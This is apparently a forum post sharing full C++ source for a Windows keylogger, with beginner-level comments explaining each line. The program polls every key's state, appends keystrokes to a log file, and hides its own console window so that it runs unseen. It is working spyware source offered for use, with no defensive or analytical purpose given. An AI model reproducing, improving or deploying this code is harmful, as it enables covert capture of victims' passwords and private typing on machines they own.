my c++ keylogger

Код:

#include <iostream>    // These we need to

    using namespace std;   // include to get our

    #include <windows.h>   // Keylogger working.

    #include <winuser.h>   //


    int Save (int key_stroke, char *file); // This will declare 'Save' as an integer.

    void Stealth(); //This Will be used to let the program run in stealth.

    int main()   //Here we declare Main as an integer.

    {

            Stealth(); // This will call the stealth function we will write later.

        char i; //Here we declare 'i' as a character.

        while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.

        {

            for(i = 8; i <= 190; i++)

            {

    if (GetAsyncKeyState(i) == -32767)

    Save (i,"LOG.txt");    // Here we say where our log.txt will be saved. Now it will save it in the same dir as the .exe

            }

        }

        system ("PAUSE"); // Here we say that the system have to wait before exiting.

    return 0;

    }

    /* *********************************** */

    int Save (int key_stroke, char *file)

    {

        if ( (key_stroke == 1) || (key_stroke == 2) )

            return 0;

        FILE *OUTPUT_FILE;

        OUTPUT_FILE = fopen(file, "a+");

        cout << key_stroke << endl;

            if (key_stroke == 8)

            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.

            else if (key_stroke == 13)

            fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.

            else if (key_stroke == 32)

            fprintf(OUTPUT_FILE, "%s", " ");

            else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..

            fprintf(OUTPUT_FILE, "%s", "[TAB]");

                else if (key_stroke == VK_SHIFT)

            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");

                else if (key_stroke == VK_CONTROL)

            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");

                    else if (key_stroke == VK_ESCAPE)

            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");

                    else if (key_stroke == VK_END)

            fprintf(OUTPUT_FILE, "%s", "[END]");

                        else if (key_stroke == VK_HOME)

            fprintf(OUTPUT_FILE, "%s", "[HOME]");

                        else if (key_stroke == VK_LEFT)

            fprintf(OUTPUT_FILE, "%s", "[LEFT]");

                            else if (key_stroke == VK_UP)

            fprintf(OUTPUT_FILE, "%s", "[UP]");

                            else if (key_stroke == VK_RIGHT)

            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");

                                else if (key_stroke == VK_DOWN)

            fprintf(OUTPUT_FILE, "%s", "[DOWN]");

                                else if (key_stroke == 190 || key_stroke == 110)

            fprintf(OUTPUT_FILE, "%s", ".");

                                else

                                    fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);

        return 0;

    }

    /* *********************************** */

    void Stealth()

    {

      HWND Stealth;

      AllocConsole();

      Stealth = FindWindowA("ConsoleWindowClass", NULL);

      ShowWindow(Stealth,0);

    }